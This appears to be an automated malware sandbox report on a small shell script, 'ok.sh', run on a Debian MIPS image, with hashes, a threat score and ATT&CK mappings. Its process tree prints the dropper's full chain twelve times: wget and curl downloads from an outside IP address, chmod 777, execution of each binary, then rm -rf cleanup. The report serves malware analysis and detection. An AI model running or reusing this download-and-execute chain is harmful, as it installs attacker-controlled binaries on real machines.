7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9

Analysis

max time kernel
28s
max time network
30s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/09/2026, 03:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260902-ej4ygafl6x
SHA256 7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9
MD5 326300644720fd0dc56c930059537406
SHA1 ac9fc0a8fd89a05dca04579fabd228f588610e8a
SHA512 f88a3cd00c13a84cac49837eab81d533029ca77a044b447bf05489b9cfe3316fc7d814c8d003cf79869e422dce8c80e9a87dbfa6f1c5c5477fc566b417413002
TLSH
T19331589E55104A710103CA9E73B33148B18DA6FB2C9FDBD4D95C4EA992883CDF2B1B5A
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
891	chmod
762	chmod
776	chmod
796	chmod
842	chmod
868	chmod
900	chmod
747	chmod
755	chmod
822	chmod
835	chmod
849	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/a374c0	749	ok.sh
/tmp/fc1f84	756	ok.sh
/tmp/b407be	763	ok.sh
/tmp/ca1a79	778	ok.sh
/tmp/4d735c	797	ok.sh
/tmp/6c866d	824	ok.sh
/tmp/cbd468	836	ok.sh
/tmp/a464d3	843	ok.sh
/tmp/d7dea9	850	ok.sh
/tmp/190fcc	869	ok.sh
/tmp/6d4af7	892	ok.sh
/tmp/96a1bc	901	ok.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fc1f84	curl
File opened for modification	/tmp/ca1a79	curl
File opened for modification	/tmp/6c866d	curl
File opened for modification	/tmp/d7dea9	curl
File opened for modification	/tmp/a374c0	curl
File opened for modification	/tmp/b407be	curl
File opened for modification	/tmp/4d735c	curl
File opened for modification	/tmp/cbd468	curl
File opened for modification	/tmp/a464d3	curl
File opened for modification	/tmp/190fcc	curl
File opened for modification	/tmp/6d4af7	curl
File opened for modification	/tmp/96a1bc	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:720
- /usr/bin/wget
  wget http://5.182.210.174/a374c0
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://5.182.210.174/a374c0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 a374c0
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/a374c0
  ./a374c0 bc
  2⤵
  PID:749
- /bin/rm
  rm -rf a374c0
  2⤵
  PID:751
- /bin/rm
  rm -rf a374c0.1
  2⤵
  PID:752
- /usr/bin/wget
  wget http://5.182.210.174/fc1f84
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://5.182.210.174/fc1f84
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 fc1f84
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/fc1f84
  ./fc1f84 bc
  2⤵
  PID:756
- /bin/rm
  rm -rf fc1f84
  2⤵
  PID:758
- /bin/rm
  rm -rf fc1f84.1
  2⤵
  PID:759
- /usr/bin/wget
  wget http://5.182.210.174/b407be
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://5.182.210.174/b407be
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 b407be
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/b407be
  ./b407be bc
  2⤵
  PID:763
- /bin/rm
  rm -rf b407be
  2⤵
  PID:765
- /bin/rm
  rm -rf b407be.1
  2⤵
  PID:766
- /usr/bin/wget
  wget http://5.182.210.174/ca1a79
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://5.182.210.174/ca1a79
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod 777 ca1a79
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/ca1a79
  ./ca1a79 bc
  2⤵
  PID:778
- /bin/rm
  rm -rf ca1a79
  2⤵
  PID:780
- /bin/rm
  rm -rf ca1a79.1
  2⤵
  PID:781
- /usr/bin/wget
  wget http://5.182.210.174/4d735c
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://5.182.210.174/4d735c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod 777 4d735c
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/4d735c
  ./4d735c bc
  2⤵
  PID:797
- /bin/rm
  rm -rf 4d735c
  2⤵
  PID:801
- /bin/rm
  rm -rf 4d735c.1
  2⤵
  PID:802
- /usr/bin/wget
  wget http://5.182.210.174/6c866d
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://5.182.210.174/6c866d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod 777 6c866d
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/6c866d
  ./6c866d bc
  2⤵
  PID:824
- /bin/rm
  rm -rf 6c866d
  2⤵
  PID:826
- /bin/rm
  rm -rf 6c866d.1
  2⤵
  PID:827
- /usr/bin/wget
  wget http://5.182.210.174/cbd468
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://5.182.210.174/cbd468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 cbd468
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/cbd468
  ./cbd468 bc
  2⤵
  PID:836
- /bin/rm
  rm -rf cbd468
  2⤵
  PID:838
- /bin/rm
  rm -rf cbd468.1
  2⤵
  PID:839
- /usr/bin/wget
  wget http://5.182.210.174/a464d3
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://5.182.210.174/a464d3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 a464d3
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/a464d3
  ./a464d3 bc
  2⤵
  PID:843
- /bin/rm
  rm -rf a464d3
  2⤵
  PID:845
- /bin/rm
  rm -rf a464d3.1
  2⤵
  PID:846
- /usr/bin/wget
  wget http://5.182.210.174/d7dea9
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://5.182.210.174/d7dea9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/chmod
  chmod 777 d7dea9
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/d7dea9
  ./d7dea9 bc
  2⤵
  PID:850
- /bin/rm
  rm -rf d7dea9
  2⤵
  PID:852
- /bin/rm
  rm -rf d7dea9.1
  2⤵
  PID:853
- /usr/bin/wget
  wget http://5.182.210.174/190fcc
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://5.182.210.174/190fcc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod 777 190fcc
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/190fcc
  ./190fcc bc
  2⤵
  PID:869
- /bin/rm
  rm -rf 190fcc
  2⤵
  PID:872
- /bin/rm
  rm -rf 190fcc.1
  2⤵
  PID:873
- /usr/bin/wget
  wget http://5.182.210.174/6d4af7
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://5.182.210.174/6d4af7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod 777 6d4af7
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/6d4af7
  ./6d4af7 bc
  2⤵
  PID:892
- /bin/rm
  rm -rf 6d4af7
  2⤵
  PID:894
- /bin/rm
  rm -rf 6d4af7.1
  2⤵
  PID:896
- /usr/bin/wget
  wget http://5.182.210.174/96a1bc
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://5.182.210.174/96a1bc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/chmod
  chmod 777 96a1bc
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/96a1bc
  ./96a1bc bc
  2⤵
  PID:901
- /bin/rm
  rm -rf 96a1bc
  2⤵
  PID:903
- /bin/rm
  rm -rf 96a1bc.1
  2⤵
  PID:904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a374c0

Path /tmp/a374c0
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download